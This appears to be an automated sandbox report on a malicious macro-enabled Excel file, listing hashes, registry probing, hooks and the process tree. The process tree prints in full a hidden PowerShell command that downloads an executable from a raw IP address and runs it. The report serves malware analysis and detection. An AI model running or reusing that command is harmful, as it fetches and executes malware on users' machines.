Resubmissions
11-06-2024 09:20
240611-la58ha1hnf 1011-06-2024 09:18
240611-k9pt5a1hke 1031-05-2024 08:15
240531-j5p4nach79 10Analysis
-
max time kernel
28s -
max time network
21s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
11-06-2024 09:18
Behavioral task
behavioral1
Sample
Copy0761000025.xlsm
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Copy0761000025.xlsm
Resource
win7-20240508-en
General
-
Target
Copy0761000025.xlsm
-
Size
430KB
-
MD5
d01710a02c214a5f6e0197fd291c0b10
-
SHA1
3b2ed35df644d1684660543c56370dc8686e1a53
-
SHA256
b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d
-
SHA512
45abdcf42ec483103948e2882bd8187e98ae44af425bdad5f0b1f17b99b336e80acc322c419fdab5cbc8f601993359a0e383c14927a286200c70c1044850e9e5
-
SSDEEP
12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UM:7VwarmMSAGMID1R5OtM
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2132 320 powershell.exe 72 -
Blocklisted process makes network request 1 IoCs
flow pid Process 20 2132 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2132 powershell.exe 2132 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 320 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2132 powershell.exe 2132 powershell.exe 2132 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2132 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 320 EXCEL.EXE 320 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE 320 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 320 wrote to memory of 2132 320 EXCEL.EXE 75 PID 320 wrote to memory of 2132 320 EXCEL.EXE 75
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2132
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a